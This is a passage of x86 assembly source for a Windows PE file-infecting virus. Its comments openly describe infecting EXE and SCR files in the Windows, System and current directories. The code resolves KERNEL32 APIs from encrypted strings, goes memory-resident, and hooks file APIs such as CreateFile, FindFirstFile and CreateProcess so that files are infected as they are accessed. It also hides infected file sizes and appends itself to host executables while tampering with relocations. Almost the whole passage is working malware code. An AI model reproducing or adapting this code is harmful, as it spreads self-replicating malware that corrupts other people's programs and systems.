decrypt_stringz: ;decrypt/unpack API namez and other stringz

lodsb
rol al,cl
xor al,0B5h
jns d_stor
add al,-80h
jnz d_file
stosb ;expand/unpack unicode API name
xor eax,eax
lodsb
push esi
xchg ecx,eax
mov esi,edx
rep movsb
xchg ecx,eax
sub byte ptr [edi - 2],'A'-'W'
pop esi
jmp d_updt
d_file: stosb
xor eax,eax
sub eax,-'eliF' ;expand to 'File' where aplies
stosd
cmp al,?
org $ - 1
d_stor: stosb
jnz d_loop
d_updt: mov edx,edi
d_loop: loop decrypt_stringz ;get next character

call MyGetModuleHandleA ;get KERNEL32 base adress (first try)


pop esi
jnz gotK32 ;jump if found
sub ecx,ecx
xor eax,eax
mov cl,9
push edi
cld

copy_K32W: ;make unicode string for KERNEL32

lodsb
stosw
loop copy_K32W
call MyGetModuleHandleW ;get KERNEL32 base adress (second try)
jnz gotK32 ;jump if found
call MyGetModuleHandleX ;get KERNEL32 base adress (third try)
jnz gotK32 ;jump if found

quit_app:

pop eax ;shit.. KERNEL32 base adress not found


ret ;try to quit aplication via an undocumented way

db 67h ;some prefix to confuse lamerz


seh_fn: mov eax,[esp.EH_EstablisherFrame]
lea esp,[eax - cPushad]
popad
xor eax,eax
lea ebp,[edi + ebp_num - tmp_edi]
pop dword ptr fs:[eax] ;remove SEH frame
jmp seh_rs

gotK32: mov [ebp + K32Mod - ebp_num],eax ;store KERNEL32 base adress


cmp dword ptr [ebp + ddGetProcAddress - ebp_num],0
xchg ebx,eax
jnz find_APIs ;got RVA pointer to GetProcAdress API?
lea esi,[ebp + vszGetProcAddress - ebp_num]
call MyGetProcAddressK32 ;no, get adress of GetProcAdress directly
jecxz find_APIs
lea eax,[ebp + ddGetProcAddress2 - ebp_num]
mov [eax],ecx
sub eax,[ebp + phost_hdr - ebp_num]
mov [ebp + ddGetProcAddress - ebp_num],eax

find_APIs: ;find file related API adressez from KERNEL32..

lea esi,[ebp + FunctionNamez - ebp_num]


lea edi,[ebp + FunctionAdressez - ebp_num]

GetAPIAddress:

call MyGetProcAddressK32 ;get API adress


jecxz quit_app
cld
xchg eax,ecx
stosd ;save retrieved API adress
@endsz ;point to next API name
cmp [esi],al ;end of API namez reached?
jnz GetAPIAddress ;no, get next API adress

lea ebx,[ebp + Process_Dir - ebp_num]


lea edi,[ebp + PathName - ebp_num]
push 7Fh
push edi
call [ebp + ddGetWindowsDirectoryA - ebp_num]
call ebx ;infect filez in WINDOWS directory
push 7Fh
push edi
call [ebp + ddGetSystemDirectoryA - ebp_num]
call ebx ;infect filez in SYSTEM directory
xor eax,eax
mov byte ptr [edi],'.'
inc eax
call ebx ;infect filez in current directory

build_host: ;rebuild the host..

mov esi,[ebp + pCodeTable - ebp_num] ;get code table of host


mov ebx,[ebp + phost_hdr - ebp_num] ;get host base adress
cld
lodsd
add eax,0B2FD26A3h ;decrypt original entry point RVA
add_1st_val = dword ptr $ - 4
xchg edi,eax
add edi,ebx
push edi ;save entry point for l8r retrieval

get_count:
call [ebp + ddGetCurrentProcess - ebp_num] ;get pseudo-handle for current process
xchg ecx,eax
cld
lodsw ;get number of bytes to copy
cwde
xchg ecx,eax
mov edx,ecx
push ecx ;push parameterz to WriteProcessMemory API
push eax
push esp
push ecx
push esi
push edi
push eax

decrypt_hostcode: ;decrypt the chunk of original host code previosly encrypted..

lodsb
xor al,06Ah
xor_2nd_val = byte ptr $ - 1
rol al,cl
mov [esi-1],al
loop decrypt_hostcode
sub ecx,12345678h
old_base = dword ptr $ - 4
add ecx,ebx ;has host base adress been relocated?
jz write_chunk ;no, relocation fix not necesary.. jump

;fix code pointed to by one or more nulified relocationz..

pushad ;get RVA start of relocation section..


lea esi,[ebx.MZ_lfanew]
sub edi,ebx
add esi,[esi]
mov ecx,[esi.NT_OptionalHeader \ ;get size of relocation dir.
.OH_DirectoryEntries \
.DE_BaseReloc \
.DD_Size \
-MZ_lfanew]
jecxz _popad
mov esi,[esi.NT_OptionalHeader \ ;get RVA to relocation section
.OH_DirectoryEntries \
.DE_BaseReloc \
.DD_VirtualAddress \
-MZ_lfanew]
call redo_reloc ;pass adress of fix_relocs label as a parameter

fix_relocs: ;process relocation block and look for nulified relocationz..

lodsw ;get relocation item


cwde
dec eax
.if sign?
jnc f_next_reloc ;if first item, jump to get next relocation
item
.endif
test ah,mask RD_RelocType shr 8 ;is relocation nulified?
jnz f_next_reloc ;no, jump to get next relocation item
lea eax,[eax + ebx + 5]
cmp edi,eax ;relocation item points inside chunk of code?
jnc f_next_reloc ;no, jump to get next relocation item
add eax,-4
cmp eax,edx
jnc f_next_reloc ;no, jump to get next relocation item

;relocation item is pointing inside chunk of code.. add delta to fix it..

pushad
mov ebx,[esp.(4*Pshd).cPushad.Pushad_ebx] ;get actual host base adress
mov ebp,[ebx + edi - 4]
mov ecx,[esp.(3*Pshd).(2*cPushad).Arg3] ;get pointer to chunk of code inside
code table
mov ebx,[ebx + edx]
xchg ebp,[ecx - 4]
sub ecx,edi
mov esi,[esp.(4*Pshd).cPushad.Pushad_ecx] ;get relocation delta to add
xchg ebx,[edx + ecx]
add [eax + ecx],esi ;add delta.. (aack! damned relocationz..)
mov [edx + ecx],ebx
popad
clc

f_next_reloc:

loop fix_relocs ;get next relocation item


ret

redo_reloc:

call get_relocs
_popad: popad

write_chunk:

call [ebp + ddWriteProcessMemory - ebp_num] ;write chunk of code to the code


section
xchg ecx,eax
pop edx
cld
pop eax
jecxz n_host ;if error, jump and try to stay resident without jumpin back
to host
xor edx,eax
lodsw ;get pointer to next chunk of code to patch, if any
jnz n_host ;if error, jump and try to stay resident without jumpin back
to host
cwde
xchg ecx,eax
sub edi,ecx
jecxz go_resident ;no more chunkz, jump and try to stay resident, then jump
back to host
jmp get_count ;jump and patch the next chunk
n_host: pop eax ;unwind return adress, an error occured, cant jump to host :(

go_resident:

lea esi,[ebp + FindData - ebp_num]


push MAX_PATH
push esi
push ecx
call [ebp + ddGetModuleFileName - ebp_num] ;get host filename
xchg ecx,eax
lea ebx,[ebp + jmp_addr_table - ebp_num] ;get pointer to start of jump adress
table
jecxz g_host
call Open&MapFile ;open host filename and memory-map it
g_host: jecxz jmp_host ;if error, jump back to host
push PAGE_EXECUTE_READWRITE
push MEM_COMMIT or MEM_RESERVE or MEM_TOP_DOWN
push (virtual_end2 - code_start + 3) and -4
push esi ;NULL ;let OS choose memory adress
call [ebp + ddVirtualAlloc - ebp_num] ;allocate enough memory for virus
code and bufferz
lea ecx,[ebp + FunctionNamez2 - ebp_num] ;get pointer to start of function
namez to hook
mov edi,non_res - code_start
xchg ecx,eax ;get size of new allocated block
lea esi,[ecx + PathNamez - code_start]
jecxz close_jmp_host ;if error on VirtualAlloc, close file and jump to host
xchg edi,ecx ;get target adress of new allocated block
mov [ebp + pPathNamez - ebp_num],esi ;initialize pointer to store future
pathnamez retrieved by Find(First/Next)File(A/W)
mov esi,edi
xchg [ebp + pcode_start - ebp_num],esi ;get source adress of virus code and
store new target adress as new source adress
lea edx,[edi + ecx + jmp_table_size + 1]
mov [ebp + pNewAPIs - ebp_num],edx ;initialize pointer to store hooked
APIs in the new jump table
cld
rep movsb ;copy virus code to new allocated block
mov [esi],cl ;force a null to mark the end of function namez to
hook
pop ecx ;get start of memory-maped file
inc edi ;get pointer to NewAPItable
push ecx

hook_api: ;hook API functionz, retrieve old API adress and build new API entry into
jump table..

pushad
call IGetProcAddressIT ;get RVA pointer of API function inside import table
test eax,eax
jz next_api_hook ;if not found, jump and get next API name
add eax,[ebp + phost_hdr - ebp_num] ;convert RVA to real pointer by
addin the actual host base adress
mov edx,esp
push eax
push esp
xchg esi,eax
mov al,0B8h ;build "mov eax,?" instruction into jump table
push 4
push edx
stosb
call [ebp + ddGetCurrentProcess - ebp_num]
push esi
push eax
cld
movsd ;get and copy old API adress into jump table
call [ebp + ddWriteProcessMemory - ebp_num] ;set our API hook
cld
mov al,0E9h ;build "jmp ?" instruction to jump to new API handler
pop edx
pop ecx
stosb
movzx eax,word ptr [ebx] ;build relative offset to new API handler
sub eax,edi
add eax,[ebp + pcode_start - ebp_num]
stosd
push edi
next_api_hook:

popad
inc ebx
xchg esi,eax
@endsz ;get pointer to next API name
inc ebx
cmp [esi],al ;check end of API namez to hook
xchg eax,esi
jnz hook_api ;jump and get next API, if there are more APIz to hook

close_jmp_host:

call Close&UnmapFile ;close and unmap host file

jmp_host:

cld
pop eax
jmp eax ;jmp to host.. or try to quit aplication if an error ocurred
while patchin the code section

NewGetProcAddr: ;new GetProcAddress API entry point.. hook wanted API functionz from
KERNEL32..

call APICall@n_2 ;call old GetProcAdress API and retrieve API adress in EAX
pushad
mov ecx,[esp.cPushad.Arg1] ;get module handle/base adress
call get_ebp ;get EBP to reference internal variablez correctly
xchg ecx,eax
jecxz end_getproc ;get out if retrieved API adress is zero
sub eax,[ebp + K32Mod - ebp_num] ;is it KERNEL32 base adress?
jnz end_getproc ;no, get out
lea edx,[ebp + jmp_addr_table - 2 - ebp_num] ;yea its KERNEL32, get
pointer to start of jump table
lea edi,[ebp + FunctionNamez2 - 1 - ebp_num] ;get pointer to API function
namez to hook
cld

n_gproc_next_str: ;search specified API function name from the list of posible API
namez to hook..

inc edx
scasb ;get adress to next API function name
jnz $ - 1
mov esi,[esp.cPushad.Arg2] ;get pointer to specified API function name
inc edx
scasb
jz end_getproc ;if end of API namez reached, get out
dec edi

n_gproc_next_chr:

cmpsb ;do API namez match?


jnz n_gproc_next_str ;no, get next API name
dec edi
scasb
jnz n_gproc_next_chr

n_gproc_apis_match: ;API namez match, we need to hook the API..

lea ebx,[ebp + NewAPItable + nAPIS - 10 - ebp_num] ;get top of jump table


mov edi,[ebp + pNewAPIs - ebp_num] ;get current pointer to build new API entry
cmp ebx,edi ;check if jump table is full
jc end_getproc ;get out if full
push edi
sub al,-0B8h ;build "mov eax,?" instruction into jump table
stosb
pop eax
xchg eax,[esp.Pushad_eax] ;retrieve old API adress and swap with the new API
adress
stosd
mov al,0E9h ;build "jmp ?" instruction to jump to new API handler
stosb
movzx eax,word ptr [edx] ;build relative offset to new API handler
sub eax,edi
add eax,[ebp + pcode_start - ebp_num]
stosd
mov [ebp + pNewAPIs - ebp_num],edi ;update pointer to next API entry in the
jump table

end_getproc:

popad
ret (2*Pshd) ;return to caller

jmp_addr_table: ;adress table.. contains relative offsetz to new API handlerz..

dw NewGetProcAddr - code_start - 4
dw NewGetFileAttrA - code_start - 4
dw NewGetFileAttrW - code_start - 4
dw NewMoveFileExA - code_start - 4
dw NewMoveFileExW - code_start - 4
dw New_lopen - code_start - 4
dw NewCopyFileA - code_start - 4
dw NewCopyFileW - code_start - 4
dw NewOpenFile - code_start - 4
dw NewMoveFileA - code_start - 4
dw NewMoveFileW - code_start - 4
dw NewCreateProcessA - code_start - 4
dw NewCreateProcessW - code_start - 4
dw NewCreateFileA - code_start - 4
dw NewCreateFileW - code_start - 4
dw NewFindCloseX - code_start - 4
dw NewFindFirstFileA - code_start - 4
dw NewFindFirstFileW - code_start - 4
dw NewFindNextFileA - code_start - 4
dw NewFindNextFileW - code_start - 4
dw NewSetFileAttrA - code_start - 4
dw NewSetFileAttrW - code_start - 4

jmp_table_size = $ - jmp_addr_table

NewSetFileAttrW: ;new API handlerz (unicode version)..


NewCreateFileW:
NewCreateProcessW:
NewMoveFileW:
NewCopyFileW:
NewMoveFileExW:
NewGetFileAttrW:
CommonProcessW:

test al,? ;clear carry (unicode version)


org $ - 1
NewSetFileAttrA: ;new API handlerz (ansi version)..
NewCreateFileA:
NewCreateProcessA:
NewMoveFileA:
NewOpenFile:
NewCopyFileA:
New_lopen:
NewMoveFileExA:
NewGetFileAttrA:
CommonProcessA:

stc ;set carry (ansi version)


pushad
call get_ebp2_Uni2Ansi ;get EBP to reference internal variablez correctly
and convert unicode string to ansi (for unicode version APIz)
jecxz jmp_old_api
call findfirst ;get atributez, size of file and check if it exists
jz jmp_old_api
dec eax
push eax ;save search handle
@copysz ;copy filename to an internal buffer
call Process_File2 ;try to infect file..

NCF_close:

call [ebp + ddFindClose - ebp_num] ;close file search

jmp_old_api:

popad
jmp eax ;jump to original API adress

NewFindFirstFileW: ;new findfirst API handler.. infect files, stealth (unicode version)

test al,? ;clear carry (unicode version)


org $ - 1

NewFindFirstFileA: ;new findfirst API handler.. infect files, stealth (ansi version)

stc ;set carry (ansi version)


call APICall@n_2 ;call old findfirst API
pushad
inc eax ;if any error, get out
jz go_ret_2Pshd
dec eax
jz go_ret_2Pshd
call get_ebp2_Uni2Ansi ;get EBP to reference internal variablez
correctly and convert unicode string to ansi (for unicode version APIz)
jecxz go_ret_2Pshd
mov edi,[ebp + pPathNamez - ebp_num] ;get pointer to new entry in
pathnamez table
lea ebx,[ebp + PathNamez + nPATHNAMEZ - MAX_PATH - ebp_num] ;get top of
pathnamez table
cmp edi,ebx
jnc go_ret_2Pshd ;if not enough space to store filename, jump
mov ebx,edi
@copysz ;copy filename to pathnamez table
next2_ff: mov al,[edi - 1] ;get end of path..
add al,-'\'
jz eop_ff
sub al,':' - '\'
jz eop_ff
dec edi
cmp ebx,edi
jc next2_ff
xor al,al
eop_ff: stosb ;force null to split path from filename
mov [ebp + pPathNamez - ebp_num],edi ;update pointer to next
entry in pathnamez table
call get_handle_ofs_0 ;get new free entry in handlez table
jc go_ret_2Pshd
mov eax,[esp.Pushad_eax] ;get handle returned by findfirst
stosd ;store handle into handlez table
xchg eax,ebx
stosd ;store pointer to asociated pathname into
handlez table as well
mov [ebp + pHandlez - ebp_num],edi ;update pointer to next entry in
handlez table
xchg esi,eax
jmp FindCommon

go_ret_2Pshd: popad ;return to caller


ret (2*Pshd)

NewFindNextFileW: ;new findnext API handler.. infect files, stealth (unicode version)

test al,? ;clear carry (unicode version)


org $ - 1

NewFindNextFileA: ;new findnextt API handler.. infect files, stealth (ansi version)

stc ;set carry (ansi version)


call APICall@n_2 ;call old findnext API
pushad
call get_handle_ofs_ebp ;get correct entry in handlez table acordin
to handle
jc go_ret_2Pshd
mov esi,[edi + 4] ;get respective pathname

FindCommon: lea edi,[ebp + PathName - ebp_num]


@copysz ;copy pathname to respective buffer
dec edi
mov ebx,[esp.cPushad.Arg2] ;get WIN32_FIND_DATA parameter
or al,[ebp + uni_or_ansi - ebp_num] ;check if its ansi or unicode
lea esi,[ebx.WFD_szFileName] ;get filename
jnz its_ansi_fc
call Uni2Ansi ;its unicode, convert to ansi and atach filename to
pathname
its_ansi_fc: call Process_File3 ;try to infect file
call get_size ;get file size
jnz go_ret_2Pshd
test [ebx.WFD_nFileSizeLow.hiw.hib],11111100b ;filesize > 64MB?
jnz go_ret_2Pshd ;yea, file too large, jump
div ecx
dec edx
jns go_ret_2Pshd ;if not infected, jump, stealth not necesary
call check_PE_file ;file is infected, do size stealth
jmp go_ret_2Pshd

NewFindCloseX: mov cl,1


call APICall@n ;call old findclose API
pushad
call get_handle_ofs_ebp ;get correct entry in handlez table acordin
to handle
jc go_ret_Pshd
lea esi,[edi + 4]
mov ecx,[ebp + pHandlez - ebp_num]
lodsd
sub ecx,esi
pushad
xchg esi,eax ;remove pathname entry
mov ecx,[ebp + pPathNamez - ebp_num]
mov edi,esi
@endsz
sub ecx,esi
mov [esp.Pushad_ebx],ecx
rep movsb
mov [ebp + pPathNamez - ebp_num],edi ;update pointer to handlez
table
popad
shr ecx,3 ;remove handle entry
jz setH_fc
FixpPathNamez: movsd
lodsd
sub eax,ebx
stosd
loop FixpPathNamez
setH_fc: mov [ebp + pHandlez - ebp_num],edi ;update pointer to pathnamez
table
go_ret_Pshd: popad
ret (Pshd)

Open&MapFile proc ;open and map file in read only mode


; on entry:
; ESI = pszFileName (pointer to file name)
; on exit:
; ECX = 0, if error
; ECX = base adress of memory-maped file, if ok

xor edi,edi

Open&MapFileAdj: ;open and map file in read/write mode


; on entry:
; EDI = file size + work space (in bytes)
; ESI = pszFileName (pointer to file name)
; on exit:
; ECX = 0, if error
; ECX = base adress of memory-maped file, if ok
; EDI = old file size

xor eax,eax
push eax ;0
push eax ;FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax ;NULL
mov al,1
push eax ;FILE_SHARE_READ
ror eax,1 ;GENERIC_READ
mov ecx,edi
jecxz $ + 4
rcr eax,1 ;GENERIC_READ + GENERIC_WRITE
push eax
push esi ;pszFileName
call [ebp + ddCreateFileA - ebp_num] ;open file
cdq
xor esi,esi
inc eax
jz end_Open&MapFile ;if error, jump
dec eax
push eax ;push first handle

push edx ;NULL


push edi ;file size + buffer size
push edx ;0
mov dl,PAGE_READONLY
mov ecx,edi
jecxz $ + 4
shl dl,1 ;PAGE_READWRITE
push edx
push esi ;NULL
push eax ;handle
call [ebp + ddCreateFileMappingA - ebp_num] ;create file mapping
cdq
xchg ecx,eax
jecxz end_Open&MapFile2 ;if error, close handle and jump
push ecx ;push second handle

push edi ;file size + buffer size


push edx ;0
push edx ;0
mov dl,FILE_MAP_READ
test edi,edi
.if !zero?
shr dl,1 ;FILE_MAP_WRITE
mov edi,[ebx.WFD_nFileSizeLow]
.endif
push edx
push ecx ;handle
call [ebp + ddMapViewOfFile - ebp_num] ;map view of file
xchg ecx,eax
jecxz end_Open&MapFile3
push ecx ;push base adress of memory-maped file

jmp [esp.(3*Pshd).RetAddr] ;jump to return adress leavin parameterz in


the stack

Open&MapFile endp

Close&UnmapFile proc ;close and unmap file previosly opened in read only mode

xor edi,edi

Close&UnmapFileAdj: ;close and unmap file previosly opened in read/write mode

pop [esp.(4*Pshd).RetAddr - Pshd]


call [ebp + ddUnmapViewOfFile - ebp_num] ;unmap view of file

end_Open&MapFile3:

call [ebp + ddCloseHandle - ebp_num] ;close handle


mov ecx,edi
jecxz end_Open&MapFile2 ;if read-only mode, jump
pop eax
push eax
push eax
xor esi,esi
push esi
push esi
push edi
push eax
xchg edi,eax
call [ebp + ddSetFilePointer - ebp_num] ;move file pointer to the
real end of file
call [ebp + ddSetEndOfFile - ebp_num] ;truncate file at real end
of file
lea eax,[ebx.WFD_ftLastWriteTime]
push eax
push esi
push esi
push edi
call [ebp + ddSetFileTime - ebp_num] ;restore original date/time stamp
field

end_Open&MapFile2:

call [ebp + ddCloseHandle - ebp_num] ;close handle

end_Open&MapFile:

xor ecx,ecx
ret

Close&UnmapFile endp

get_ebp2_Uni2Ansi: ;this function sets EBP register to reference internal


; variablez correctly and also converts unicode
; strings to ansi (for unicode version APIz only).
;this function is only useful at the resident stage.
;on entry:
; TOS+28h (Pshd.cPushad.Arg1): pointer to specified file name
;on exit:
; ECX = 0, if error

mov esi,[esp.(Pshd).cPushad.Arg1] ;get source pointer to specified file name


call get_ebp2 ;get actual EBP
lea edi,[ebp + PathName - ebp_num] ;get target pointer to internal buffer
jc ansiok

Uni2Ansi: ;this function converts an ansi string to a unicode string


;on entry:
; ESI = pointer to specified file name
;on exit:
; ECX = 0, if error

xor eax,eax
push eax ;NULL
push eax ;NULL
push MAX_PATH
push edi ;target pointer
push -1
push esi ;source pointer
push eax
push eax ;CP_ACP
call [ebp + ddWideCharToMultiByte - ebp_num]
mov esi,edi
ansiok: xchg ecx,eax
cld
ret

Rva2Raw proc ;this function converts RVA valuez to RAW pointerz inside PE
; filez. This function is specialy useful for memory-maped
; filez.
;given a RVA value, this function returns the start adress
; and size of the section containin it, plus its relative
; delta value inside the section.
;on entry:
; EAX = RVA value
; EBP = start of memory-maped file (MZ header)
; ESI = start of PE header + 3Ch
;on exit:
; EBP = RAW size of section
; EBX = RAW start of section
; ECX = 0, if not found
; start of respective section header (+ section header
; size), if found
; EDX = RVA start of section
; ESI = relative delta of RVA value inside section.

movzx ecx,word ptr [esi.NT_FileHeader \ ;get number of sectionz


.FH_NumberOfSections \
-MZ_lfanew]
jecxz end_Rva2Raw
movzx ebx,word ptr [esi.NT_FileHeader \ ;get first section header
.FH_SizeOfOptionalHeader \
-MZ_lfanew]
lea ebx,[esi.NT_OptionalHeader + ebx - MZ_lfanew]
x = IMAGE_SIZEOF_SECTION_HEADER

match_virtual: ;scan each PE section header and determine if specified RVA


;value points inside

mov esi,eax
mov edx,[ebx.SH_VirtualAddress]
sub esi,edx
sub ebx,-x
cmp esi,[ebx.SH_VirtualSize - x] ;is RVA value pointin inside current section?
jb section_found ;yea we found the section, jump
loop match_virtual ;nope, get next section

end_Rva2Raw:

ret

Rva2Raw endp

get_handle_ofs_ebp: ;this function sets EBP register to reference internal


; variablez correctly and also given a handle, it gets
; a pointer to an entry in the handlez table.
;this function is only useful at the resident stage.
;on entry:
; TOS+28h (Pshd.cPushad.Arg1): specified handle
;on exit:
; EDI = pointer to entry in handlez table
; Carry clear, if ok
; Carry set, if error

xchg ecx,eax
jecxz end_gho_stc
call get_ebp2
mov ecx,[esp.(Pshd).cPushad.Arg1] ;get handle
jecxz end_gho_stc
xchg eax,ecx
cmp ax,?
org $ - 2

get_handle_ofs_0: ;gets a pointer to an empty entry in the handlez table


;this function is only useful at the resident stage.
;on exit:
; EDI = pointer to entry in handlez table
; Carry clear, if ok
; Carry set, if error

sub eax,eax

get_handle_ofs: ;given a handle, this function gets a pointer


; to an entry in the handlez table.
;this function is only useful at the resident stage.
;on entry:
; EAX = specified handle
;on exit:
; EDI = pointer to entry in handlez table
; Carry clear, if ok
; Carry set, if error

lea edi,[ebp + Handlez - 8 - ebp_num]


lea edx,[edi + nHANDLEZ]
next_gho: scasd ;add edi,8
scasd ;
cmp edx,edi ;top of handlez table reached?
jc end_gho ;yea, handle not found, jump
cmp eax,[edi] ;do handlez match?
jnz next_gho ;no, check next handle, jump
test al,? ;yea, handle found, clear carry
org $ - 1
end_gho_stc: stc ;set carry
end_gho: ret

section_found:

x = IMAGE_SIZEOF_SECTION_HEADER
xchg ebp,ebx
add ebx,[ebp.SH_PointerToRawData - x] ;get RAW start of section
xchg ecx,ebp
mov ebp,[ecx.SH_SizeOfRawData - x] ;get RAW size of section
cld
ret

get_relocs: ;this comon funtion is called from both instalation and


; infection stage.
;it simply locates each relocation block in the .reloc section
; and calls a function to (a) nulify those dangerous reloca-
; tionz in a block (infection stage) or (b) to fix the code
; pointed to by such marked relocationz (instalation stage).
;on entry:
; EDI = RVA start pointer to chunk of code
; TOS+04h (Arg1): fix_relocs label function adress (instalation stage)
; or
; nul_relocs label function adress (infection stage)
; TOS+00h (return adress)

add esi,ebx ;get start of relocation section in aplication context


add edx,edi ;get end adress of chunk code
lea ebp,[ecx+esi] ;get end of relocation section in aplication context

process_reloc_blocks:

lodsd
xchg ebx,eax ;get start RVA for this block of relocationz
lea ecx,[ebx + 4096] ;get end RVA where relocationz can point in a block
lodsd ;get size of reloc block
x = IMAGE_SIZEOF_BASE_RELOCATION
add eax,-x
cmp edi,ecx ;RVA pointer inside relocation block? (check low boundary)
lea ecx,[eax + esi] ;get next block adress
push ecx
jnc next_reloc_block
shr eax,1
cmp ebx,edx ;RVA pointer inside relocation block? (check high boundary)
jnc next_reloc_block
xchg ecx,eax ;get number of relocationz for this block
jecxz next_reloc_block

call [esp.(Pshd).Arg1] ;call fix_relocs function or nul_relocs function

next_reloc_block:

pop esi ;get next block adress


lea eax,[esi + x]
cmp eax,ebp ;end of relocation blockz?
jc process_reloc_blocks ;no, process the block, jump
ret (Pshd) ;yea, no more relocation blockz, return

Process_File3: ;this function copies a filename to an internal buffer


; and checks the extension thru a list of infectable
; extensions (EXE and SCR filez for the moment). If
; the extension matches, the file will be infected.
@copysz
mov edx,not 0FF202020h ;upercase mask
mov ecx,[edi-4] ;get filename extension
lea esi,[ebp + Exts - ebp_num] ;get pointer to list of extensionz
and ecx,edx ;convert file extension to upercase

next_ext:

lodsd ;get extension from list


dec al ;no more extensionz?
js end_PF3
and eax,edx ;convert extension to upercase
dec esi
xor eax,ecx ;do extensionz match?
jnz next_ext
cmp byte ptr [edi-5],'.'
jnz end_PF3 ;no, get next extension
call Process_File2 ;yes, extensionz match, infect file

end_PF3: ret

err_Rva2Raw:

popad ;needed to unwind the stack from some function

err_Rva2Raw2:

popad ;needed to unwind the stack from some function


ret

Attach proc ;attach virus code to last section in the PE file and
; change section characteristicz to reflect infection.
;on entry:
; ECX = base of memory-maped file
; EDI = original file size
;on exit:
; EDI = new file size
lea esi,[ecx.MZ_lfanew] ;get base of PE header + 3Ch
mov eax,[ebp + pcode_start - ebp_num] ;get start adress of virus code
add esi,[esi]
mov edx,[esi.NT_OptionalHeader \ ;get built-in image base
.OH_ImageBase \
-MZ_lfanew]
pushad ;save valuez to stack
xor eax,eax
x = IMAGE_SIZEOF_SECTION_HEADER
sub al,-x
mul byte ptr [esi.NT_FileHeader \ ;get number of sectionz
.FH_NumberOfSections \
-MZ_lfanew]
add ax,word ptr [esi.NT_FileHeader \ ;get first section header
.FH_SizeOfOptionalHeader \
-MZ_lfanew]
jc err_Rva2Raw2
lea ebx,[esi.NT_OptionalHeader - MZ_lfanew + eax]
mov eax,[esi.NT_OptionalHeader.OH_SectionAlignment - MZ_lfanew]
mov edx,[esi.NT_OptionalHeader.OH_FileAlignment - MZ_lfanew]
dec eax
dec edx
or eax,edx ;check SectionAlignment and FileAlignment fieldz
cmp eax,10000h
jnc err_Rva2Raw2 ;too large?
add edi,ecx ;get end of file in MM-file
inc al
jnz err_Rva2Raw2
mov eax,[ebx.SH_VirtualAddress - x]
mov ebp,ecx ;get MM-file base address
add eax,edi
add ecx,[ebx.SH_PointerToRawData - x]
sub eax,ecx ;get new RVA entry point

;at this point:


;
; cPushad.EAX = source adress of code to copy (start at encrypted stringz)
; cPushad.EBX = embedded (in PE header) host base address
; EBP = start of MM-file. Base address of MM-file
; EAX = new RVA entry point (start of virus code RVA)
; EDX = file alignment - 1
; EDI = target adress where code will be copied to in the MM-File
; ECX = start adress of last section in the MM-file
; EBX = start adress of last section header (plus section header size)
; in the MM-file
; ESI = start of PE header (+ 3Ch) in the MM-file

pushad
mov eax,[esi.NT_OptionalHeader \ ;get current entry point
.OH_AddressOfEntryPoint \
-MZ_lfanew]

;on entry:
;
; EAX = Host EntryPoint RVA
; EBP = start of MZ header (start of MM-file)
; ESI = start of PE header + 3Ch (in MM-file)

call Rva2Raw ;find true code section (clue: EntryPoint RVA points inside)

;on exit:
;
; EBP = raw size of CODE section
; EBX = raw start of CODE section
; ECX = 0, if not found
; start of CODE section header (+ section header size), if found
; EDX = start of CODE section RVA
; ESI = relative delta of RVA inside CODE section.

jecxz err_Rva2Raw ;code section not found, invalid EntryPoint


pushad
mov ebp,esp
mov edx,[ebp.(2*cPushad).Pushad_ebp] ;get original ebp
x = IMAGE_SIZEOF_SECTION_HEADER
or byte ptr [ecx.SH_Characteristics.hiw.hib - x],20h ;set exec bit to section

exec_set:

mov esi,[edx + ImportHdr - ebp_num] ;get import section header


xor ecx,esi ;is import table inside code section?
jz IT_in_Code ;yea, jump

;import table NOT inside code section (i.e. probably exists an .idata section)

or byte ptr [esi.SH_Characteristics.hiw.hib - x],80h ;set writable bit

IT_in_Code: ;import table is inside code section (stupid microsoft)


;no need to set the writable bit (the exec bit does the job)

sub ecx,ecx
push edi ;need this value l8r, push it
mov cl,5
sub eax,0B2FD26A3h
sub_1st_val = dword ptr $ - 4
add edi,ecx ;add edi,5
stosd
push edi
mov eax,ecx ;ax = 5
stosw
sub al,- 0e9h + 5 ;al = E9h
stosb
mov eax,[ebp.cPushad.Pushad_eax] ;get RVA start of virus code
sub eax,[ebp.Pushad_eax]
sub eax,ecx ;sub eax,5
stosd
xor eax,eax
pop esi
stosw ;0
mov edi,[ebp.Pushad_eax]

nulify_relocs: ;nulify relocs that could overwrite our inserted chunks of code..

push edi
lodsw
cwde
pushad
mov esi,[ebp.cPushad.Pushad_esi] ;get PE header (+ 3Ch)
mov ecx,[esi.NT_OptionalHeader \ ;get size of relocation blockz
.OH_DirectoryEntries \
.DE_BaseReloc \
.DD_Size \
-MZ_lfanew]
jecxz go_popad ;no relocationz, jump
push eax ;save size of this chunk of code temporarily
push ecx
mov ebp,[ebp.cPushad.Pushad_ebp] ;get base of MM-file (MZ header)
mov eax,[esi.NT_OptionalHeader \ ;get RVA start of relocation blockz
.OH_DirectoryEntries \
.DE_BaseReloc \
.DD_VirtualAddress \
-MZ_lfanew]
call Rva2Raw ;convert RVA to a raw offset inside the section
pop eax
pop edx ;retrieve size of this chunk of code temporarily
jecxz go_popad
xchg ecx,eax
call mark_reloc ;pass nul_relocs as a parameter to get_relocs function

nul_relocs:

lodsw ;get relocation item


cwde
ror eax,3*4
add al,- IMAGE_REL_BASED_HIGHLOW ;check relocation type
jnz n_next_reloc ;not valid, get next relocation item
shr eax,5*4 ;strip or blank relocation type field from
relocation item
lea eax,[eax + ebx + 4] ;convert relocation pointer to RVA
cmp edi,eax ;check if relocation points to our chunk of
code..
jnc n_next_reloc ;check low boundary
add eax,-4
cmp eax,edx ;check high boundary
jnc n_next_reloc ;it doesnt point to our chunk of code, get
next relocation item

;this relocation item is pointing inside our chunk of code..


;nulify and mark it!

and byte ptr [esi.hib - 2],not (mask RD_RelocType shr 8) ;nulify relocation!

n_next_reloc:

loop nul_relocs ;get next relocation item


ret

mark_reloc:

call get_relocs

go_popad:

popad
xchg ecx,eax ;size of this chunk of code
add edi,[ebp.Pushad_ebx] ;convert RVA start of chunk of code to a raw value
sub edi,[ebp.Pushad_edx]

pre_crypt:

lodsb ;encrypt chunk of code..


xchg [edi],al
ror al,cl
inc edi
xor al,06Ah
_xor_2nd_val = byte ptr $ - 1
mov [esi-1],al
loop pre_crypt
lodsw ;get next chunk of code
cwde
pop edi
xchg ecx,eax ;no more chunkz?
jecxz pre_crypt_done
sub edi,ecx ;point EDI to next chunk
jmp nulify_relocs ;check relocationz, jump

pre_crypt_done:

sub al,-0e8h ;build 'call' instruction


pop edi
stosb
